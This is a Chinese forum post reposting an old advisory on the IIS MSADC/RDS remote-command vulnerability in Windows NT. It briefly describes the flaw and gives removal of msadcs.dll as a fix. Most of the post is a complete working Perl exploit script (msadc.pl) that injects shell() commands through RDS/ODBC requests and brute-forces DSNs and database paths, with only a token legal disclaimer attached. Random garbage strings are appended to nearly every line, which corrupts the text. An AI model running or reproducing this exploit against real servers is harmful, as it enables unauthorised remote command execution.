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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) B#Vz#y  
e#$]Y?,  
涉及程序: j i7[nY  
Microsoft NT server Lr~=^{  
(ROY?5 @c  
描述: Y[}>CYO  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #W4dkCd(pF  
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详细: L.*M&Ry  
如果你没有时间读详细内容的话,就删除: /<|%yE&KhJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [\v}Ul  
有关的安全问题就没有了。 "Q@ronP(~  
-g*4(w  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1mOh{:1u  
Y)*#)f  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 EyJJ0  
关于利用ODBC远程漏洞的描述,请参看: (X\@t-8  
keL&b/@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @#T|Y&  
@tNzQ8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 R;uvkg[o  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FKDk+ojw  
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这里不再论述。 SB H(y)  
C zs8!S  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1\ o59Y  
Yg%I?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset sBvzAVBL  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;- ~B)M_S`  
tE<H|_{L  
K*K,}W&}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Lt?lv2k=L  
Y']\Jq{OS  
#!perl E7j(QO f  
# SJb&m-  
# MSADC/RDS 'usage' (aka exploit) script . qO@Q=  
# }YGV\Nu  
# by rain.forest.puppy B~MU^ |v  
# n8~N$tDU  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #Z?A2r!1  
# beta test and find errors! O_oPh] x)  
"l3_=Gua  
use Socket; use Getopt::Std; BC&S>#\  
getopts("e:vd:h:XR", \%args); N{9v1`B  
gc_:%ki  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; il4^zj82  
!/'t5~x[  
if (!defined $args{h} && !defined $args{R}) { <J< {l  
print qq~ _S<3\%(0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } *+Ek0M  
-h <host> = host you want to scan (ip or domain) ,w<S|#W~+  
-d <seconds> = delay between calls, default 1 second md)c0Bg8~  
-X = dump Index Server path table, if available LG{,c.Qj*  
-v = verbose %9KldcQ}~  
-e = external dictionary file for step 5 N7b8m?!  
Xv ]W(f1  
Or a -R will resume a command session FtP0krO(  
nv*FT  
~; exit;} 5sj4;w[  
7zXvnxYE  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )WNzWUfn=z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }7|1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Yb|c\[ %  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3`t#UY).F  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Kr gFKRgGj  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hZ?Rof  
W <9T0sZ  
if (!defined $args{R}){ $ret = &has_msadc; ,1~"eGl!  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (y=C_wvqZ  
3 oF45`3FV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" BTqS'NuT  
. "cmd /c "; ! `   
$in=<STDIN>; chomp $in; ] {RDVA=]  
$command="cmd /c " . $in ; ;w{tv($$  
T"{>t  
if (defined $args{R}) {&load; exit;} '.IW.{;$  
#++lg{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &FMc?wq  
&try_btcustmr; QO<jI#  
` 06;   
print "\nStep 2: Trying to make our own DSN..."; jl4rbzse  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; K -nF lPm\  
~ (|5/ p7t  
print "\nStep 3: Trying known DSNs..."; d[@X%  
&known_dsn; {j.bC@hWw  
Ec3}_`  
print "\nStep 4: Trying known .mdbs..."; |7'df&CA  
&known_mdb; *v;2PP[^  
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if (defined $args{e}){ \ :%(q/v"X  
print "\nStep 5: Trying dictionary of DSN names..."; 9&-dTayIz  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } yr)G]K[/  
DrKP%BnS  
print "Sorry Charley...maybe next time?\n"; |HiE@  
exit; y`Wty@  
>:74%D0UF  
############################################################################## [owWiN4`s  
g!g#]9j  
sub sendraw { # ripped and modded from whisker jD$,.AVvz  
sleep($delay); # it's a DoS on the server! At least on mine... "@e3EX7h  
my ($pstr)=@_; =_.l8IYX$%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || dN$0OS`s[  
die("Socket problems\n"); e>} s;H,  
if(connect(S,pack "SnA4x8",2,80,$target)){ .[]r}[lU  
select(S); $|=1; 0.`/X66;V  
print $pstr; my @in=<S>; Z;h t  
select(STDOUT); close(S); Q- cFtu-w  
return @in; m|SUV  
} else { die("Can't connect...\n"); }} Rvqq.I8aC  
QyEn pZ8?a  
############################################################################## *RI]?j%B  
l.67++_  
sub make_header { # make the HTTP request |XaIx#n  
my $msadc=<<EOT C.WX.Je  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LA!?H]  
User-Agent: ACTIVEDATA #{\J Nb+w%  
Host: $ip FvaUsOy "  
Content-Length: $clen q$0*b]=E  
Connection: Keep-Alive ]AINK UI0  
k0OYJ/  
ADCClientVersion:01.06 Y+kfBvxyf  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -$pzl,^ h  
ih58 <Up5  
--!ADM!ROX!YOUR!WORLD! 66g9l9wm(  
Content-Type: application/x-varg ?h$NAL?  
Content-Length: $reqlen ef 8s<5"4  
AHD=<7Rs  
EOT \T4v|Pw\  
; $msadc=~s/\n/\r\n/g; y_* !6Xr  
return $msadc;} P{8iJ`rBG  
Y>dF5&(kb  
############################################################################## /K+r? ]kf  
rJ`!:f  
sub make_req { # make the RDS request 3atBX5  
my ($switch, $p1, $p2)=@_; { }:#G  
my $req=""; my $t1, $t2, $query, $dsn; 1h^:[[!c  
m]'#t)B_m  
if ($switch==1){ # this is the btcustmr.mdb query y*4=c _Z  
$query="Select * from Customers where City=" . make_shell(); :vmH]{R  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GSoX<*i  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} RVZ")Z(  
$h+1u$po  
elsif ($switch==2){ # this is general make table query .T}Wdn g  
$query="create table AZZ (B int, C varchar(10))"; 2":pE U{E  
$dsn="$p1";} Q 1U\D  
h=W:^@G  
elsif ($switch==3){ # this is general exploit table query %:M ^4~dc  
$query="select * from AZZ where C=" . make_shell(); ${<%" hR$  
$dsn="$p1";} W =D4r  
6|gCuT4  
elsif ($switch==4){ # attempt to hork file info from index server rlMLW  
$query="select path from scope()"; j b!x:  
$dsn="Provider=MSIDXS;";} mUNn%E:7@{  
x) ,eI'mf  
elsif ($switch==5){ # bad query ]3D0R;  
$query="select"; b_$4V3TA  
$dsn="$p1";} AiwOc+R  
tP:lP#9  
$t1= make_unicode($query); BOX{]EOj  
$t2= make_unicode($dsn); T(#J_Y  
$req = "\x02\x00\x03\x00"; NpE*fR')  
$req.= "\x08\x00" . pack ("S1", length($t1)); IB(6+n,6s  
$req.= "\x00\x00" . $t1 ; d?y4GkK  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3(="YbZ  
$req.= "\x00\x00" . $t2 ; qz"}g/;?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; xipU8'ac/  
return $req;} Jz\%%C  
6gL #C&  
############################################################################## C(eTR1  
a4m n*,  
sub make_shell { # this makes the shell() statement JYMiLph<  
return "'|shell(\"$command\")|'";} I5X|(0es  
ny]?I  
############################################################################## :,3C 0T3r  
=-0/k;^  
sub make_unicode { # quick little function to convert to unicode )%`c_FL@N=  
my ($in)=@_; my $out; & DS/v)]  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } g&^quZ"H  
return $out;} GF"hx`zyJ  
]{sU&GqBLe  
############################################################################## Ryl:a\  
"SNn^p59k  
sub rdo_success { # checks for RDO return success (this is kludge) |'e^QpU5  
my (@in) = @_; my $base=content_start(@in); Q{O+  
if($in[$base]=~/multipart\/mixed/){ Giid~e33  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} S){)Z  
return 0;} rF3wx.  
!eGC6o}f  
############################################################################## Bj+S"yS  
#QS`_TlKk  
sub make_dsn { # this makes a DSN for us Q1T$k$n  
my @drives=("c","d","e","f"); IDad9 Bx  
print "\nMaking DSN: "; ] vz%iv_  
foreach $drive (@drives) { a1g,@0s  
print "$drive: "; gI&#o@Pm  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . e+=y*OmQ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,L|%"K]yM  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); f- K+]aZ)  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @#l `iK  
return 0 if $2 eq "404"; # not found/doesn't exist w_aknt T  
if($2 eq "200") {  03L]  
foreach $line (@results) { %p Ynnfr  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} RaO-H  
} return 0;} MOQ6 :  
|-b#9JQ[A  
############################################################################## 4`lLf  
[xbSYu,&  
sub verify_exists { {yBs7[Wn  
my ($page)=@_; 1m'k|Ka  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,[N%Q#  
return $results[0];} kC:uG0sW  
+UCG0D  
############################################################################## '<gI8W</  
g!|=%(G=  
sub try_btcustmr { ^8]NxV@l  
my @drives=("c","d","e","f"); I~[F|d>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n|6Ic,:[  
bc7/V#W  
foreach $dir (@dirs) { PoHg,n]  
print "$dir -> "; # fun status so you can see progress ]dF ,:8  
foreach $drive (@drives) { q?Cnav`DY  
print "$drive: "; # ditto .zr-:L5{  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R1s`z|?  
$reqlenlen=length( "$reqlen" ); _H9 MwJ  
$clen= 206 + $reqlenlen + $reqlen; d|jNf</`  
#"}JdBn  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |+{)_?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &U{#Kt5q  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} M5i%jZk  
[ieI;OG;  
############################################################################## 5v[*:0p'  
$ux,9H'[  
sub odbc_error { +*\u :n  
my (@in)=@_; my $base; Cw~q4A6'  
my $base = content_start(@in); Vo4,@scG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this j SHk{T!J  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .L+6 $8m  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /hpY f]t  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c|f<u{'  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?(xnSW@r  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; LY+@o<>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C2.HMgL  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} .7O*pJ2(H  
3 D6RLu  
############################################################################## Zj_b>O-V  
# '=a=8-$  
sub verbose { jY  &k  
my ($in)=@_; uY0lR:|  
return if !$verbose; T!uM+6|Y  
print STDOUT "\n$in\n";} QER?i;-wb  
H h4WMZJG  
############################################################################## at@G/?  
JX<)EZ!F  
sub save { |O3q@  
my ($p1, $p2, $p3, $p4)=@_; []D&bYpv  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; cv8L-Z>x.=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 3v(*5  
close OUT;} P i=+/}  
;$HftG>B  
############################################################################## x-XD.qh7Hr  
Z~GL5]S  
sub load { },uF 4M.K  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; +20G>y=+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); RXNn[A4xfY  
@p=<IN>; close(IN); 4d"r^y'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1v#%Ei$6`t  
$target= inet_aton($ip) || die("inet_aton problems"); \ S_Ou   
print "Resuming to $ip ..."; G3t xj  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }#3V+X  
if($p[1]==1) { .b_)%jd x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; y@1+I ~@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #HYr0Tw6`  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2{D{sa  
if (rdo_success(@results)){print "Success!\n";} Id*Ce2B  
else { print "failed\n"; verbose(odbc_error(@results));}} PYQ;``~x  
elsif ($p[1]==3){  JR'  
if(run_query("$p[3]")){ q~ tz? T_  
print "Success!\n";} else { print "failed\n"; }} Mc@e0  
elsif ($p[1]==4){ 8."]//V  
if(run_query($drvst . "$p[3]")){ \Bz_p'[G  
print "Success!\n"; } else { print "failed\n"; }} Y21g{$~Q{  
exit;} 1f%1*L0>@  
&)2i[X  
############################################################################## 0mpX)S  
60P<4  
sub create_table { "33Fv9C#bK  
my ($in)=@_; rUwZMli  
$reqlen=length( make_req(2,$in,"") ) - 28; #:jHp44J  
$reqlenlen=length( "$reqlen" ); :1^LsLr5  
$clen= 206 + $reqlenlen + $reqlen; !1rlN8w(qr  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^/uA?h:]\  
return 1 if rdo_success(@results); B{/R: Hm  
my $temp= odbc_error(@results); verbose($temp); 8Pfb~&X^Ws  
return 1 if $temp=~/Table 'AZZ' already exists/; !]42^?GH  
return 0;} 2iHUZzz\  
^/)^7\@  
############################################################################## E{`kaWmC&~  
b`(}.r?W  
sub known_dsn { vN Vox0V  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Amp#GR1CA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~Uu4=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", e%@'5k\SK  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0\H\lKcK  
;m0~L=w  
foreach $dSn (@dsns) { :Hn6b$Vy8  
print "."; :uP,f<=)K  
next if (!is_access("DSN=$dSn")); tankR9(o  
if(create_table("DSN=$dSn")){ [O$Wa:< 0x  
print "$dSn successful\n"; VdPtPq1  
if(run_query("DSN=$dSn")){ x%s-+&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \?w2a$?6w  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?e` ^P   
rTM}})81  
############################################################################## Sw:7pByjI  
PZ2;v<  
sub is_access { :C7_Jp*Qv  
my ($in)=@_; nR7d4)  
$reqlen=length( make_req(5,$in,"") ) - 28; [\'%?BH(^  
$reqlenlen=length( "$reqlen" ); W~6EEyD%  
$clen= 206 + $reqlenlen + $reqlen; A]<y:^2])C  
my @results=sendraw(make_header() . make_req(5,$in,"")); b v G/|U  
my $temp= odbc_error(@results); t 4PK}>QW  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {^ qcx8  
return 0;} 6,o~\8ia  
pqk?|BvpK_  
############################################################################## H0:E(}@   
gGvz(R: y  
sub run_query { gRrL[z  
my ($in)=@_; |^0XYBxQ  
$reqlen=length( make_req(3,$in,"") ) - 28; X]'{(?Ch  
$reqlenlen=length( "$reqlen" ); T,7Y7c/3V  
$clen= 206 + $reqlenlen + $reqlen; %;cddLQ\xY  
my @results=sendraw(make_header() . make_req(3,$in,"")); %.vQU @2A  
return 1 if rdo_success(@results); .nB0 h  
my $temp= odbc_error(@results); verbose($temp); dOa+(fMe  
return 0;} RtGWG*v4]  
#~#R-   
############################################################################## ~F7 -HaQJ  
-jW.TT h]  
sub known_mdb { 7[w,:9& }  
my @drives=("c","d","e","f","g"); TBs|r#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0f~C#/[t7  
my $dir, $drive, $mdb; :a^t3s  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; <_h~w}  
e 63uLWDT  
# this is sparse, because I don't know of many 4h~iPn'Wl  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +$u$<z3Q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?QsQnQ  
"\\system32\\certmdb.mdb", 'GB. UKlR  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% YbR!+ 0\g  
.+qQYDE w  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Fa?~0H/DL  
"\\cfusion\\cfapps\\forums\\forums_.mdb", yQU_>_!n  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", FO=4:   
"\\cfusion\\cfapps\\security\\realm_.mdb", mN~ci 0  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", PjZvQ\Z  
"\\cfusion\\database\\cfexamples.mdb", ?<V?wsp  
"\\cfusion\\database\\cfsnippets.mdb", b$4"i XSQ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T3~k>"W  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 11TL~ xFh  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~kQA7;`j$  
"\\cfusion\\database\\smpolicy.mdb", Cf TfL3(J  
"\\cfusion\\database\cypress.mdb", ~KHVY)@P  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *$yR*}A  
"\\website\\cgi-win\\dbsample.mdb", _/F7 ?^j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y ?S!8-z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %Qc La//  
); #these are just 6 2'j!"xv  
foreach $drive (@drives) { >v:y?A,  
foreach $dir (@dirs){ 5Ec6),+&  
foreach $mdb (@sysmdbs) { {F3xJ[  
print "."; p rYs $j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 5XO;N s  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; z,Medw6[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @Gk ILFN  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ? K ;dp  
} else { print "Something's borked. Use verbose next time\n"; }}}}} sA/pVU  
%oq{L]C(rf  
foreach $drive (@drives) { +Fuqch jq  
foreach $mdb (@mdbs) { M%Ji0v38  
print "."; =5Q]m6-SgV  
if(create_table($drv . $drive . $dir . $mdb)){ 2-7IJ\  
print "\n" . $drive . $dir . $mdb . " successful\n"; yGWxpzmRS  
if(run_query($drv . $drive . $dir . $mdb)){ @<&5J7fb  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 4NGA/ G  
} else { print "Something's borked. Use verbose next time\n"; }}}} L_vISy%\b  
} s1=X>'q  
:QpuO1Gu  
############################################################################## ^?U!pq -`  
q ]M+/sl  
sub hork_idx { i'4B3  
print "\nAttempting to dump Index Server tables...\n"; w,w{/T+B  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; j:5=s%S  
$reqlen=length( make_req(4,"","") ) - 28; }3o|EXx=  
$reqlenlen=length( "$reqlen" ); W"zab  
$clen= 206 + $reqlenlen + $reqlen; xGu r  
my @results=sendraw2(make_header() . make_req(4,"","")); PfreAEv,  
if (rdo_success(@results)){ 5i> $]*o  
my $max=@results; my $c; my %d; b@rVo;  
for($c=19; $c<$max; $c++){ }'""(,2  
$results[$c]=~s/\x00//g; ,-i zEr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; D&/kCi=R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; k,'L}SK  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 87Oad@FOr  
$d{"$1$2"}="";} m6TNBX  
foreach $c (keys %d){ print "$c\n"; } Du`JaJI  
} else {print "Index server doesn't seem to be installed.\n"; }} Q o?O:  
@{YS}&Q/  
############################################################################## `4(e  
#,7e NM"  
sub dsn_dict { g}f`,r9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); C 'v+f=  
while(<IN>){ "{tg8-a4)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H$@`,{M629  
next if (!is_access("DSN=$dSn")); k40* e\  
if(create_table("DSN=$dSn")){ b vS(@  
print "$dSn successful\n"; afv~r>q(-  
if(run_query("DSN=$dSn")){ OZx W?wnd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )>.&N[v  
print "Something's borked. Use verbose next time\n";}}} ]e^c=O`$  
print "\n"; close(IN);} }R1< 0~g  
s>0't  
############################################################################## T,]7ICF#  
"B =  
sub sendraw2 { # ripped and modded from whisker }!;s.[y  
sleep($delay); # it's a DoS on the server! At least on mine... ?3%` bY+3;  
my ($pstr)=@_; :z4)5= 6M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || q<\,  
die("Socket problems\n"); 3AQZRul  
if(connect(S,pack "SnA4x8",2,80,$target)){ $]{k+Jf  
print "Connected. Getting data"; lp<g \  
open(OUT,">raw.out"); my @in; vV[eWd.o6M  
select(S); $|=1; print $pstr; lLp^Gt^}w(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} q[HTnx  
close(OUT); select(STDOUT); close(S); return @in; :,Pn3xl  
} else { die("Can't connect...\n"); }} X}tVmO?  
My<snmr2d  
############################################################################## &0NFb^8+  
GqWB{$J;"  
sub content_start { # this will take in the server headers 2W/?q!t  
my (@in)=@_; my $c; ])L A42|  
for ($c=1;$c<500;$c++) { CZ(/=3,3n  
if($in[$c] =~/^\x0d\x0a/){ & @s!<9$W  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } KHgBo}6  
else { return $c+1; }}} ]3VI|f$$  
return -1;} # it should never get here actually <1FC%f/  
29!q!g|  
############################################################################## ? %`@ub$  
w S4.8iJ  
sub funky { BDq%'~/^  
my (@in)=@_; my $error=odbc_error(@in); 9:,V5n=  
if($error=~/ADO could not find the specified provider/){ &Rx{.9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; aemc2b*  
exit;} /x5rf  
if($error=~/A Handler is required/){ VCn{mp*h  
print "\nServer has custom handler filters (they most likely are patched)\n"; LM}Ib.  
exit;} p8Q,@ql.  
if($error=~/specified Handler has denied Access/){ HR ;)|j{!  
print "\nServer has custom handler filters (they most likely are patched)\n"; aCQ?fq  
exit;}} >Y #t`6,!  
11<Qxu$rL  
############################################################################## #tZ4N7  
|55N?=8  
sub has_msadc { &m|wH4\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  AT9q3  
my $base=content_start(@results); T-5nB>)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); h&`e) a>+  
return 0;} Hz.(qW">5*  
QS{1CC9$  
######################## | \'rP_I>  
D+]a.& {p  
cgm81+[%r  
解决方案: Fb7#<h  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ZHGC6a!a  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 NR -!VJQ  
:E>HE,1b+  
拿出来充数 哈哈
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